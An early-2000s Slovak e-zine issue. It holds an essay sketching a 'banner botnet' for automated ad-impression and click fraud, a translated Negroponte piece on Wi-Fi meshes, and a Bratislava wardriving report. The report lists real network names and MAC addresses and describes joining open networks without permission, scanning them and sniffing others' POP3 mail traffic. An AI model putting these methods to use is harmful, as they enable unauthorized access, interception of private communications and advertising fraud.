velmi velka cast prijmov z internetu hlavne v nasich krajinach (cr a sr) je zalozena na reklame, vacsinou na bannerovej reklame. jednak tu pomerne uspesne funguje bartrovy obchod (reklama za kredity) a jednak zobrazovanie impresii za peniaze. tento clanok by mal byt malym kritickym pohladom na tuto cast trhu.

v prvom rade je vhodne povedat par odlisnosti reklamy internetovej a reklamy v ostatnych mediach. reklama v beznych mediach sa pomerne tazsie cieli -- zameriava sa dost nepresne na cielove skupiny. zaroven je vsak mozne dopredu predpokladat (ak nenastane nejaka mimoriadna situacia) velkost cielovej skupiny. existuju rozne statisticke metody, ktore dovoluju urcite sledovanost, pripadne citanost daneho media. ovela zlozitejsie je urcit samotnu ucinnost reklamy (kto si zapamata danu znacku, kto si produkt naozaj kupi, ...).

zadavatelia internetovej reklamy ju vedia v kazdom vacsom reklamnom systeme pomerne dobre cielit. vedia povedat cielovu skupinu (podla toho, ako odpovedali v anketach, na ake stranky chodia, aky operacny system pouzivaju, cez akeho poskytovatela pripojenia su pripojeni. zatialco ,,bezna'' reklama cieli reklamu na predpokladanu cielovu skupinu, internetova reklama je cielena na kazdeho cloveka osobitne.

tu vsak nastava jeden zo zakladnych problemov -- preco by som chcel dovolit nejakemu gigantickemu reklamnemu systemu vediet o mne nejake informacie? na tento ucel vznikli systemy blokujuce reklamu. jeden z najkrajsich je urcite junkbuster alebo jednoducho acl listy v squide.

ked je vsak mozne pouzivat sluzbu bez pozerania sa na ich reklamu, nastava tu dost zasadna otazka: mnozstvo klientov dostava informacie bez pozerania sa na reklamu. je to ako keby ste si po kupe casopisu carovnym prutikom odcarovali vsetku reklamu a citali naozaj len tie informacie, ktore vas zaujimaju.

pre zadavatela reklamy aj pre prevadzkovatela sajtu je teda problemom, ci sa niekto na reklamu pozera (zadavatel reklamy to vidi v statistikach, co ak sa vsak tieto blokovace reklamy rozsiria natolko, ze na reklamu uz nebude pozerat takmer nikto?). zadavatel reklamy si vsak logicky musi polozit dalsiu otazku -- je prijemca reklamy clovek alebo stroj?.

otazka moze zniet hlupo, no reklamny obrazok si vacsinou vyziada stroj, je vsak na nom, ci obrazok zobrazi. mozno si dany obrazok ani neziadal zobrazit ziadny clovek. a tu je kamen urazu. podla coho plati zadavatel reklamy za zobrazene impresie, ked v podstate nemoze vediet, ci reklamu naozaj vidi clovek?

banner botnet

skusme si teraz v hlave naprogramovat jednoduchu siet ,,pozeracov a odklikavacov'' bannerov. cielom siete je nazbierat clenom dostatok kreditov v reklamnom systeme. niekolko nezavislych serverov sa bude starat o menezment impresii. klient si vytvori na danom serveri konto. jeho klientsky program sa s tymto kontom pripoji na server a dostane informaciu o obrazku, ktory ma requestnut (vratane hlaviciek, ktore ma poslat). s istou pravdepodobnostou (0.1-1.5%, co je bezny pomer odkliknutia banneru) mu zaroven prikaze po istom case vyziadat si ine url (odkliknutie banneru). za kazdy takyto ukon dostane v banner botnete jeden kredit. v kliente si nastavi url banneru, ktory chce, aby mu ostatni clenovia pozerali a pripadne odklikavali. teda za kazde vyziadanie banneru si jeho banner ,,pozrie'' niekto iny. v statistikach reklamneho systemu sa nebude diat nic nezvycajne -- pomerne pomaly nastup poctu impresii. klientovi, ktory takto ,,pozera'' programovo cudzie bannery zacne rast kredit v reklamnom systeme (pretoze cely svet mu klika na bannery). to, ze niekedy ten kredit znamena peniaze ani nebudem spominat.

samozrejme, najdu sa taki nepodstivi medzi nepodstivymi, ktori by chceli dostavat kredit a nic neodklikavat a nerequestovat. preto server s istou pravdepodobnostou posle linku na iny spriazneny server, ktory dane odkliknutie overi a v pripade, ze k nemu nedoslo, klientov ucet zakaze.

v podstate jediny sposob, ako sa vymenny reklamny system moze dozvediet o tom, ze niekto takto funguje (pri este vacsom a detailnejsom domysleni, ako tu popisujem), je stat sa sucastou banner botnetu.

aj ked to mozno bude zniet zvlastne, v pripade, ze by sa taketo nieco stalo, cely system bannerovych reklam (ak niekto nenajde nejake ine riesenie, ktore by znemoznilo takyto sposob fungovania) by sa s banner botnetom zacal stale viac a viac potapat. cena za impresiu by klesala (kedze by sa stale zvysovala pravdepodobnost, ze si k cloveku cestu nenajde) a casom by sa tento system cely sam potopil.

zo zaciatku by bol vsak pre ,,clenov'' velmi vyhodny, pretoze by im pomohol skoro zadarmo (teda za pripojenie) zarobit dost impresii a ziskat reklamu na svoje stranky. ak by nepremenil svoje stranky na iny druh zisku (napr. z ponukania tovaru alebo informacii), mohol by zarobit predanim impresii.

buducnost internetovej reklamy

nie som jasnovidec, no v pripade, ze sa takato moznost uplatni a reklamne agentury a zadavatelia reklamy si tuto hrozbu uvedomia, reklama na internete, ako ju pozname teraz (a hlavne platenie za nu) uplne zanikne. pretransformuje sa na iny druh reklamy, ktory sa takto oklamat neda -- na reklamu druhu ,,podiel z predanych vyrobkov, ktore zakupil zakaznik ktoreho ziskala reklama na danej stranke''. v tomto pripade vyhra zadavatel reklamy a aj zakaznik -- poskytovatel obsahu bude reklamu viac cielit -- nie podla zadavatela, ale podla toho, co si mysli, ze sa bude dobre predavat a co si mysli, ze by daneho zakaznika mohlo zaujimat. pretoze v tomto pripade bude mat prevadzkovatel stranok zaujem na tom, aby uzivatel nasiel to, co hlada. predstavte si to, ziadne reklamy typu -- otvorili sme aupark na kazdej stranke. na pocitacovych strankach bude pocitacovy tovar. uz prevadzkovatel stranok sa vam bude snazit vybrat dobru a vyhodnu ponuku, pretoze bude vediet, ze v inom pripade si nic nekupite.

vacsie problemy bude mat v tomto pripade prevadzkovatel stranok -- jeho zisk bude zalezat predovsetkym od neho -- nie od poctu impresii, ale skor od sposobu, akym dokaze predat tovar. v pripade, ze sa mu to podari, moze naozaj dost slusne zarobit. v pripade, ze nie, ma smolu (a to mohol poskytovat aj naozaj zaujimave a cenne informacie, len nevedel predat ziadny tovar a nenasiel iny sposob financovania -- napr. predplatne, poskytovanie rozsirenych sluzieb a ine).

zaver

bohuzial, neviem, ci vysledok tohto vsetkeho bude dobry alebo zly. naozaj to neviem predpovedat. je dost mozne, ze mnozstvo dobrych sluzieb skrachuje. v pripade, ze by tento scenar naozaj niekto zrealizoval, asi by malo vela stranok financne problemy hlavne v case transformacie reklamneho trhu a najma v tomto case by si mali asi hladat aj vedlajsi zdroj prijmov. prijmy z impresii uz zdaleka nebudu primarne.

je mi naozaj luto, ze sa vzdalujeme od casov, ked na internete bolo vsetko zadarmo a bol produkovany nadsencami, ktori nieco chceli poskytnut svetu. takyto internet bol najlepsi. teraz, v case korporacii asi dojde k roznym zmenam. uvidime, ako sa to cele skonci.

juraj bednar, juraj(at)bednar.sk

navrat na obsah
co ty na to ? board




preco zmeni wifi tvar telekomov

Nicholas Negroponte vysvetluje preco Wi-Fi "lekna a zaby" pretvoria buducnost telco priemyslu.

Vsetko, co ste doteraz vedeli a predpokladali o telekomunikaciach je v pohybe a zmene. Velki kablovi aj bezkablovi operatori budu nahradeni milionmi malych mikrooperatorov, ktori budu vtiahnuti do globalnej tovarne sirokopasmoveho (broadband) pripojenia.

Preco by sa prave toto malo stat ? Nech sa paci, tu je cely pribeh.

Za poslednych 30 rokov, telekomunikacny priemysel presiel tromi velkymi zmenami, kazdu z nich mozno nazvat epochou. Ta prva bola digitalizacia v 70tych rokoch. Tou druhou bol prichod technologie prepinania packetov (packet switching). Ta tretia bol nastup bezkablovej komunikacie. Kazda z nich priniesla so sebou dramaticke inovacie. Prva odstartovala popri inom multimedia, druha priniesla nepretrzite pripojenie a tretia funkcnu mobilitu. V kombinacii s deregulaciou telekomunikacneho priemyslu tieto generacne zmeny priniesli ludom viac sluzieb za nizsie ceny. Tento fakt je najviac viditelny pri mobilnych telefonoch/komunikacii, ktora mala obrovske kulturne dosledky vsade na svete.

hlasovo centricke 3G je prilis mala zmena

Na tomto pozadi aktualneho pokroku, dnesni mobilni operatori sa pripravuju na malu, skoro az irelevantnu zmenu, k prechodu na tzv. 3G - tretiu generaciu mobilnych telefonov a komunikacie. 3G je prilis mala zmena a uplne postrada atributy generacneho prechodu. V case, ked prenos dat stale narasta na vyzname je 3G stale hlasovo-centricka technologia, tym vznika riziko, ze sa nikde nikdy uplne neusadi.

vodne lekna - skutocna nasledujuca generacia

Pocitacovy priemysel zacal pred niekolkymi rokmi vyvijat popri existujucich komunikacnych protokoloch a strukturach paralelnu a na prvy pohlad nesuvisiacu aktivitu pre bezkablove lokalne pocitacove siete (LAN) nazvalnu 802.11. Povodny zamer bol odstranit hrce koaxialnych kablov a nutnost v?tat diery a tahat kilometre kabelaze.

Pred piatimi rokmi som si nainstaloval bezkablovu siet (wireless LAN) u seba doma v Bostone. V tom case to stalo nieco okolo $2,000 na zakladnu stanicu a $500 za kazde zariadenie, ktore som chcel pripojit. Dnes (v USA) su tieto ceny $120 a $50 a ceny stale klesaju. Vysledkom je, ze tento druh konektivity zacal prudko rast a konzervativne odhady hovoria len v USA o 15 milionoch wi-fi pripojeni.

lenze dosah Wi-Fi nekonci pri stenach vasho domu

Lenze systemy 802.11 dnes pristupne vo viacerych typoch vratane 802.11b vseobecne znameho ako Wi-Fi nekoncia svojim dosahom stenami Vasho domu. V zavislosti od materialov stien ma jednoduche Wi-Fi dosah az okolo 300 metrov. Odkedy zijem v oblasti s vysokou hustotou ludi, moj system dosiahne mozno 100 susedov. Platim pausal a som rad, ze sa mozem o to podelit. (kto by nechcel bezat na rovnakej sieti s Negropontem:))

Pretoze kusok nizsie na ulici, za dosahom mojho systemu iny sused nainstalovaj svoj. A kusok dalej dalsi a dalsi. Predstavte si to ako jazierko s jednym leknom, potom s dvomi a potom so styrmi, potom sa viacere prekryvaju a svojimi vyhonkami dosiahnu do Internetu. (Analogiu s leknami vymyslel Alessandro Ovi, technologicky poradca Romana Prodiho, prezidenta Europskej Komisie.)

Pozrite sa na cisla : 3G v najsilnejsich konfiguraciach slubuje rychlost prenosu dat 1 megabit za sekundu, niekedy za 2 roky. Wi-Fi ponuka rychlost 11 megabitov v zaklade a v silnych konfiguraciach az 54 megabitov uz dnes. co myslite, ktory standard sa uchyti ?

zaby : skacu cez navzajom prepletene lekna

V blizkej buducnosti kazdy Wi-Fi system bude pracovat aj ako maly smerovac (router), odpovedajuci najblizsim susedom. Data a spravy mozu skakat systemom peer-to-peer ako zaby z lekna na lekno, vyhonky uz nebudu potrebne. Bude z toho sirokopasmovy (broadband) telekomunikacny system vytvoreny ludmi pre ludi. Telekomunikacne spolocnosti o tomto fakte velmi dobre vedia ale podcenuju ho s argumentom nedostatocneho pokrytia siete. Mylia sa.

system vytvoreny ludmi pre ludi

Tuto peer-to-peer strukturu robia zaujimavou 3 veci. Za prve, jej tlak a obrovsky rast sa v malom stale opakuju (viral). Opakujuce sa male telekomunikacne siete su relativne novy fenomen, kde kazdy si vybuduje svoj maly system a pripoji ho do siete podobnych. V case ked je telekomunikacny trh v krize a investicie donho su len tie najnutnejsie, tento fakt nadobuda na dolezitosti.

Za druhe, vykon systemu rastie s poctom pripojenych uzlov. V dnesnych typickych mobilnych sietach rast uzlov (uzivatelov) znamena viac interferencii a pokles kvality sluzby. Vo Wi-Fi topologii viac uzlov znamena kvalitnejsiu sluzbu.

A za tretie, je tu obava z elektromagnetickeho vyzarovania. Najma Europa je extremne citliva na nezname vplyvy elektromagnetickeho smogu. Aj v USA je pocut hlasy, ze pravidelne pouzivanie mobilnych telefonov sposobuje rakovinu mozgu. Je faktom, ze, ze topologia multi-hop sieti (ako je Wi-Fi) potrebuje menej energie, pretoze signaly idu do mensej vzdialenosti (su to "slabsie vysielacky"). Vyplyva z toho, ze menej vysielanej energie znamena mensie zdravotne riziko.

rybnik : zmeni prud telco priemyslu

Dnesne spektrum mobilnej komunikacie je riadene ako trh nehnutelnosti, opatrne rozparcelovane vladami. Aktualne aukcie na 3G licencie priniesli obrovske a nerealisticke ceny za tieto siete. Pridava sa k tomu este stary sposob myslenia, ze jednotlive sG siete budu fungovat bez vzajomnych interferencii a s vlastou suverenitou (ako GSM).

Ale prichadzaju nove sposoby procesov v rybniku, pretoze vieme pridavat stale viac a viac inteligencie a sofistikovanosti nasim leknam a zabam skakajucim medzi nimi. Pri pouziti menej energie za nizsich cien je mozne bezkablove spektrum vyuzit daleko viac efektivnejsie. Velmi zaujimave su oblasti, ktore mozu byt volne vyuzivane kymkolvek na cokolvek bez nutnosti licencie. Tieto relativne male kusky pasma (chunks of bandwith) rozprestrene cez rozne frekvencie su povazovane viacmenej za "smeti". Toto nelicencovane spektrum je vyuzivane na domacie cordless telefony, dialkove otvarace garazi, mikrovlnne rury a velke mnozstvo dalsich nevinnych ale nepredvidatelnych pouziti.

ludia sa pri Wi-Fi experimentoch s rozprestretym spektrom CDMA naucili, ze na alokovanie (pridelovanie) frekvencneho spektra sa mozno pozerat roznymi pohladmi. Mozno sa na ne pozerat ako na velke spolocne oblasti namiesto ako na male kusky. Striktne hranice sa potom menia prijatelne obmedzenia. Aby nam taky system neprerastol cez hlavu a nevytvoril chaos, budu musiet existovat obmedzenia, napriklad v mnozstve vysielanej ci pouzitej energie. Ale to je v poriadku - nikto nezacne kricat "hori" v preplnenom divadle.

Realokovanie spektra nenastane za noc. Zamiesat obsadene elektromagneticke zony je rovnako komplikovane ako vyhladit cast mesta, aby sa vybudoval novy park ci rekreacne centrum. Nove pohlady na tento problem maju rychlejsi efekt ak sa pozerame na vyssie a vyssie casti spektra a pouzivame ho na kratsie a kratsie vzdialenosti.

pripojenie opakujuceho sa charakteru nelicencovaneho spektra

Tento novy sposob pohladu na pripojenie bude mat tiez vplyv na miesta, kde penetracia je bezkablovych technologii velmi mala - paradoxne v oblastiach ozajstnych lekien a ziab, v odlahlych castiach nasho sveta. spinave male tajomstvo o 802.11b je, ze moze dosiahnut pokrytie az 20 kilomtrov s patricne nastavenymi priamymi antenami. Predstavme si situaciu, ked bude dosah v miestach, ktore nemaju dostatocnu komercnu hodnotu, aby tam bola zavedena klasicka infrastruktura. V tychto pripadoch sa opakujuci sa charakter nelicencovanych telekomunikacnych systemov stane obrovskym hybatelom ludskeho vyvoja a zmeni vsetko, od skostva az po zabavu, od nemocnic az po prenajmy priestorov. Ani by to nebolo prilis prekvapive.

nicholas negroponte (uverejnene vo wired)
preklad xalex, epoxid(at)pobox.sk, www.epoxid.sk

navrat na obsah
co ty na to ? board




wifi jazda po blave

uvod

kam sa hrabe rozvoj ethernetovych sieti spred par rokov proti momentalnemu boomu wifi networkov. to je znama vec. ale kolko toho presne poletuje v bratislavskom eteri a ako je to zabezpecene - to sme len odhadovali. napad pobehat trochu blavu s wifi antenou v aute je pomerne stary, ale nikdy nebol cas alebo nalada spravit to. tak sme konecne v polovici novembra dali dokopy vdacny trojlistok maniac/pajkus/antonio, nejaky ten hardware a vydali sa na nocnu jazdu po blave.

o niektorych lokalitach sme si mysleli ze budu prekypovat vzdusnym trafficom ale boli sme sklamani datovou pustatinou. na inych necakanych miestach sme zase do minuty mali funkcnu IP adresu s pristupom na internet od nam uplne neznamych providerov, alebo sukromnych sieti. cielom nasho vyletu nebolo vytvorit komplexnu mapu wifi sieti v bratislave, ale obehnut si zopar vytipovanych lokalit kde sme tusili ze sa mozu diat veci. a teda aj sa diali veci. ale pekne poporiadku, najprv popis nasej vyzbroje:

vyzbroj

co sme mali so sebou:

co sme nemali so sebou a mali sme mat:

metodika

popri vychadzkovej plavbe s omni antenou na streche po bratislavskych nocnych uliciach nam z casu na cas (dooost casto) do usi zapipal prijemny zvuk netstumbleru, ktory oznamoval ze mame signal nejakej sietky. v pripade ze signal stal za rec a nazov (essid) danej rybarskej siete naznacoval zaujimavy ulovok, tak sme odparkovali nase mobilne sniffovacie laboratorium a switchli sa do unixoidnejsieho prostredia kde sa predsa len citime trosilinka komfortnejsie ;) ono ten netstumbler pod ixpeckami sme pouzivali prave koli tomu ze funguje pekne samostatne bez nejakej nutnej interakcie.

pod linuxom nam utilitka kismet pekne posniffovala traffic odohravajuci sa na konkretnom 802.11b-ckovom kanaly, alebo sme cez kismet_hopper cyklicky cuchali vsetky kanaly. nasledoval nas kamarat tcpdump, ktory porozpraval o ip adresach, ktore na danej sieti komunikovali. obcas sme dokonca dostali pomocou dhcp pridelenu ip adresu a gateway, tu musim poznamenat, ze ked som bol obuty v xp-ckach a isli sme okolo ekonomickej fakulty BA, tak som sa az mykol ked sa mi zrazu samo otvorilo icq a nabehol som online - darmo, eXPerience sa nezaprie svojimi luserfriendly ficurami :-) no ale aby som presiel k teme, tak pri tcpdumpe sme si vyhliadli nejake volne ipecky, domysleli si masku siete a typli branu. samozrejme icmp-mask-request a nmap obcas zafungovali tiez, ked uz dochadzala fantazia :)) v niektorych lokalitach fical naozaj zaujimavy traffic a tak sme cez ethereal pokukali zopar pop3 paketov, ktore smazili outlooky na workstejsnoch co ostali po firmach na weekend pozapinane...

zoznam skenovanych lokalit s poznamkami

nasleduje zoznam miest kde sme pobehovali s antenou. asi by bolo putavejsie pisat ich v chronologickom poradi podla toho ako sme ich obehavali, ale vobec si nepamatam postupnost lokalit, kedze sme to rozdelili na dve noci a jazdili sme dost cik-cakovito. treba tiez povedat ze ziadnej sieti sme sa velmi zdlhavo nevenovali. skusili sme sa prihlasit a po prihlaseni si tipnut alebo vysniffovat netmask a gateway.. kazdej sieti sme venovali tak maximalne minutku-dve. takze ak sa povenujete konkretnej sieti dlhsie, pravdepodobnost je za dostanete dalej.. takze voila v kvazi-abecednom poradi:

lokalita: bajkalska ulica, esso pumpa
meno                      mac adresa       kanal vendor                typ krypt
--------------------------------------------------------------------------------
tomas0                    00:02:78:e2:00:31   8  samsung                ap  nie
bratislava                00:02:78:f3:b5:12   3  samsung                ap  ano
EuroWeb Bajkalska Centrum 00:60:1d:f0:b6:76   1  agere(lucent) wavelan  ap  nie
EWInchebaPristav          00:02:2d:3e:fe:95   4  agere(lucent) orinoco  ap  nie
EuroWeb Bajkalska East    00:60:1d:f6:7b:72  12  agere(lucent) wavelan  ap  nie
milnapal                  00:90:4b:0b:5b:74   9  gemtek(d-link)         ap  ano
EuroWeb Bajkalska Omni    00:60:1d:04:06:4f   1  agere(lucent) wavelan  ap  nie
sibirska                  00:90:4b:0d:ce:3f  13  gemtek(d-link)         ap  nie
textpalkov                00:90:4b:0b:5b:f6   4  gemtek(d-link)         ap  ano
waskol                    00:90:4b:0e:cd:e7   3  gemtek(d-link)         ap  nie
--------------------------------------------------------------------------------
poznamka: mile je ze nam euroweb nazvy povedia presnu polohu, smerovanie a typ 
anteny

lokalita: botanicka ulica, pri omv pumpe
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
borik                     00:60:b3:16:66:0a   9  z-com                  ap  nie
PRIFUKAP                  00:02:78:e0:b3:90   5  samsung                ap  nie
--------------------------------------------------------------------------------
poznamky: borik vysielal niekde z oblasti fyzickeho kopca borik. PRIFUKAP je zjavne 
siet prirodovedeckej fakulty uk. 

lokalita: roh brnianska-jasenova
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
DMC-BA                    00:02:2d:1f:7a:13   7  agere(lucent) orinoco  ap  nie
metror                    00:60:b3:66:12:a6   8  z-com                  ap  nie
--------------------------------------------------------------------------------
poznamka: na metror sme sa uspesne napichli. tu su udaje k spojeniu:

eth1      IEEE 802.11-DS  ESSID:"metror"  Nickname:"HERMES I"
          Mode:Managed  Frequency:2.447GHz  Access Point: 00:60:B3:66:12:A6  
          Bit Rate:11Mb/s   Tx-Power=15 dBm   Sensitivity:1/3  
          Retry limit:4   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality:21/92  Signal level:-74 dBm  Noise level:-95 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:98
          Tx excessive retries:374  Invalid misc:0   Missed beacon:0

eth1      Link encap:UNSPEC  HWaaddr 00-02-2D-2E-BA-BE
          inet addr:62.168.108.237  Bcast:62.255.255.255  Mask:255.255.255.0
          UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1
          RX packets:21748 errors:6082 dropped:0 overruns:0 frame:6061
          TX packets:5044 errors:206014 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100 
          RX bytes:10429536 (9.9 Mb)  TX bytes:718511 (701.6 Kb)
          Interrupt:5 Base address:0x100 

Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
62.168.108.0    0.0.0.0         255.255.255.0   U     0      0        0 eth1
127.0.0.0       0.0.0.0         255.0.0.0       U     0      0        0 lo

62.168.108.1 asi gw
62.168.108.2 nameserver a bezi tam nejaky icmp monitoring
62.168.108.140 a 62.168.108.238 aktivne hosty na sieti (WWW+m$ domena na 198.16.x.x)

lokalita: roh broskynova-mudronova
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
borik                     00:60:b3:16:66:0a   9  z-com                  ap  nie
finger                    00:02:78:e1:10:36   9  samsung                ap  nie
Technologies              00:60:b3:4f:04:cc  13  z-com                  ap  nie
EuroWeb Bajkalska Centrum 00:60:1d:f0:b6:76   1  agere(lucent) wavelan  ap  nie
dunaj1                    00:02:78:e0:34:9d   1  samsung                ap  nie
--------------------------------------------------------------------------------

lokalita: cesta z koliby dole (take to otvorene miesto s fajn vyhladom na mesto)
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
1034                      00:40:96:44:4e:4d  10  cisco (aironet)        ap  nie
b0de6a                    00:40:96:38:3f:02   4  cisco (aironet)        ap  nie
b0de6a                    00:40:96:34:85:80   4  cisco (aironet)        ap  nie
realnetpbly               4e:03:d5:00:e2:02   6                       peer  nie
waskol                    00:90:4b:0e:cd:e7   3  gemtek (d-link)        ap  nie
vsesmer                   00:02:78:e1:45:bc   3  samsung                ap  nie
fab30                     00:30:4f:1c:2f:d9   1                         ap  nie
Effect Network            00:02:2d:4c:41:be  13  agere (lucent) orinoco ap  nie
007SOU                    00:02:78:e1:d3:f0   3  samsung                ap  nie
rainap                    00:02:78:e0:34:af   3  samsung                ap  nie
default                   00:60:b3:10:05:a0  13  z-com                peer  nie
realnetds3                00:40:96:58:43:01   1  cisco (aironet)        ap  nie
realnetdsds               56:01:c2:01:c7:01   9                       peer  nie
accessmelli               00:02:78:e1:45:ca  11  samsung                ap  nie
jan                       00:60:b3:4f:08:69   3  z-com                  ap  nie
racsz                     02:02:65:3b:6c:3b   3                       peer  nie
txgrtomil                 00:90:4b:0b:5b:ea   4  gemtek (d-link)        ap  ano
mgfh4ec5                  00:00:f0:64:0a:e6  11  samsung              peer  nie
Backup34                  00:10:e7:f5:54:07   7  breezenet              ap  ano
txsotoavi                 00:90:4b:0b:5b:f0   5  gemtek (d-link)        ap  ano
TeleViaWireless2          00:60:1d:21:dd:a8  13  agere (lucent) wavelan ap  nie
--------------------------------------------------------------------------------
poznamka: tak toto je miesto s najvacsou viditelnostou wifi sieti v bratislave. 
tu sme chytali 2-3 siete aj volne na notebook bez anteny. 

lokalita: na tej istej ceste z koliby, ale kusok nizsie
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
waskol                    00:90:4b:0e:cd:e7   3  gemtek (d-link)        ap  nie
realnetpbly               4e:03:d5:00:e2:02   6                       peer  nie
b0de6a                    00:40:96:34:85:80   4  cisco (aironet)        ap  nie
CASABLANCA_KOV3           02:02:2d:4f:15:b2  11  agere(lucent)orinoco peer  ano
cdicon                    00:02:78:e1:d4:2e   8  samsung                ap  nie
Backup34                  00:10:e7:f5:54:07   7  breezenet              ap  ano
TeleViaWireless2          00:60:1d:21:dd:a8  13  agere (lucent) wavelan ap  nie
1234                      00:40:96:44:31:94  10  cisco (aironet)        ap  nie
racsz                     02:02:65:3b:6c:3b   3                       peer  nie
default                   00:60:b3:10:05:a0  13  z-com                peer  nie
00ABFF07                  00:02:78:e1:d3:91  12  samsung                ap  nie
1034                      00:40:96:44:2a:d3  10  cisco (aironet)        ap  nie
mgfh4ec5                  00:00:f0:64:0a:e6  11  samsung                ap  nie
txgrtomil                 00:90:4b:0b:5b:ea   4  gemtek (d-link)        ap  ano
metrom                    00:60:b3:4f:1e:e4  12  z-com                  ap  nie
blabla                    00:60:b3:16:84:cf   3  z-com                  ap  nie
postelap                  00:02:78:e1:d3:bf  13  samsung                ap  nie
--------------------------------------------------------------------------------
poznamka: siet "metrom" nebola ojedinela, po celej blave sme nachadzali siete s 
nazvom "metroX" ako metros, metror, metroc, atd. patriace nejakej firme Grid. na 
metror sme sa pripojili pri savke, viz prislusna poznamka. na metros sme sa tiez
napichli, tu su udaje:

eth1      IEEE 802.11-DS  ESSID:"metros"  Nickname:"HERMES I"
          Mode:Managed  Frequency:2.432GHz  Access Point: 00:60:B3:66:12:A5  
          Bit Rate:2Mb/s   Tx-Power=15 dBm   Sensitivity:1/3  
          Retry limit:4   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality:8/92  Signal level:-89 dBm  Noise level:-97 dBm
          Rx invalid nwid:0  Rx invalid crypt:15  Rx invalid frag:6953
          Tx excessive retries:35  Invalid misc:0   Missed beacon:0

eth1      Link encap:UNSPEC  HWaddr 00-02-2D-2E-BA-BE
          inet addr:63.112.169.6  Bcast:63.255.255.255  Mask:255.255.255.0
          UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1
          RX packets:37965 errors:68168 dropped:0 overruns:0 frame:68167
          TX packets:4495 errors:42 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100 
          RX bytes:5044638 (4.8 Mb)  TX bytes:625024 (610.3 Kb)
          Interrupt:5 Base address:0x100 

Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
63.112.169.0    0.0.0.0         255.255.255.0   U     0      0        0 eth1
127.0.0.0       0.0.0.0         255.0.0.0       U     0      0        0 lo

lokalita: dolnozemska pri pumpach slovnaft
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
DOM                       00:90:4b:08:0b:86   1  gemtek (d-link)        ap  nie
hony                      00:60:1d:03:6b:e1   3  agere (lucent) wavelan ap  nie
--------------------------------------------------------------------------------

lokalita: drienova ulica oproti hotelu junior
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
govline                   00:02:78:e0:34:82   6  samsung                ap  nie
norton_home               00:02:2d:0c:fa:fb  11  agere (lucent) orinoco ap  ano
tomas0                    00:02:78:e2:00:31   8  samsung                ap  nie
EuroWeb Bajkalska East    00:60:1d:f6:7b:72  12  agere(lucent) wavelan  ap  nie
EuroWeb Bajkalska Omni    00:60:1d:04:06:4f   1  agere(lucent) wavelan  ap  nie
realnetpbly               4e:03:d5:00:e2:02   6                       peer  nie
--------------------------------------------------------------------------------
poznamka: na drienovej sme cakali kusok viac, kedze tu sidli zopar pocitacovych 
firiem a nejake to ministerstvo. chytili sme akurat silne anteny z bajkalskej.

lokalita: drotarska cesta - mozartova ulica
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
CDkramareAP               00:02:78:e1:ff:f2   3  samsung                ap  nie  
martineg                  00:02:78:e1:10:23   1  samsung                ap  nie
EUnet STV Omni            00:60:1d:f6:7c:2d   9  agere (lucent) wavelan ap  nie
vlado3                    96:57:4d:00:00:00  10                       peer  nie
duran1                    00:a0:c5:42:ef:6c   6                         ap  nie
--------------------------------------------------------------------------------
poznamka: eunet omni antenu z vyskovej budovy stv sme chytali strasne daleko. nech 
ma slaktrafi ak touto antenou eunet neporusuje maximalne normy. raz nam budu na 
hlavach kvitnut karfioly z toho co nam teraz lieta v eteri.

lokalita: drotarska cesta - prvosienkova ulica
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
duran1                    00:a0:c5:42:ef:6c   6                         ap  nie
IUVENTA                   00:30:4f:1c:24:8f  11                         ap  ano
--------------------------------------------------------------------------------

lokalita: stare grunty - jebacie miesto hore za elamom 
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
sturak                    02:02:2d:0e:89:97   9  agere(lucent)orinoco peer  ano
BORISDOM                  00:60:b3:4f:08:60  11  z-com                  ap  nie
BORISDOM                  00:60:b3:4f:00:36  11  z-com                  ap  nie
EUnet STV Omni            00:60:1d:f6:7c:2d   9  agere (lucent) wavelan ap  nie
vran                      00:90:4b:0b:5c:a5   6  gemtek (d-link)        ap  ano
freeehr                   00:02:78:e0:34:ba   8  samsung                ap  nie
borik                     00:60:b3:16:66:0a   9  z-com                  ap  nie
efca                      00:90:4b:0b:5c:5f  11  gemtek (d-link)        ap  ano
--------------------------------------------------------------------------------

lokalita: stare grunty pri manzelakoch so smerovou antenou smerom na sturak
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
hotspot                   00:90:0e:00:25:33   6                         ap  nie
vlado3                    96:57:4d:00:00:00  10                       peer  nie
homeoffice                00:02:2d:30:5b:60  11  agere(lucent)orinoco   ap  ano
sturak                    02:02:2d:0e:89:97   9  agere(lucent)orinoco peer  ano
12121212                  22:00:e4:02:f4:02   3                       peer  nie
18181818                  a6:01:7d:00:94:03  11                       peer  nie
My Network                00:60:b3:16:c0:b3   1  z-com                  ap  nie
EUnet STV Omni            00:60:1d:f6:7c:2d   9  agere (lucent) wavelan ap  nie
--------------------------------------------------------------------------------
poznamky: na hotspot sme sa chytili smerovou antenou a rovno sme dostali dhcp ip 
adresu. gw bol 192.168.1.1. zjavne by sme nasli aj nejaky proxy von, ale ponahlali 
sme sa prec a na druhy den sme sa nemohli na to pripojit.. bol slaby signal.

lokalita: hodzovo namestie
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
wli_004                   00:90:4b:0b:5b:9b   5  gemtek (d-link)        ap  nie
omega                     00:90:4b:0b:5b:51  13  gemtek (d-link)        ap  ano
--------------------------------------------------------------------------------

